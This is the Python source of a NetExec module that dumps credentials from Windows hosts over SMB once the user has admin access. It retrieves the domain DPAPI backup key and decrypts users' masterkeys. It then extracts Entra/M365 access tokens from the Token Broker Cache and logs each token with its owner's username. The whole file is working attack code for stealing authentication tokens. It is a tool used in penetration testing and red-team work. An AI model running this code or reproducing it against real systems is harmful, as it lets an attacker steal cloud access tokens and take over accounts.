Files
Pennyw0rth-NetExec/nxc/modules/wam.py
T
2025-08-16 15:10:22 -04:00

68 lines
2.9 KiB
Python

import re
import jwt
from dploot.triage.wam import WamTriage
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "wam"
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
def token_callback(token):
for attrib in token.attribs:
if attrib["Key"].decode() == "WTRes_Token":
# Extract every access token
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
if "preferred_username" in decoded_token:
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
try:
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage.triage_wam()
except Exception as e:
context.log.debug(f"Could not loot access tokens: {e}")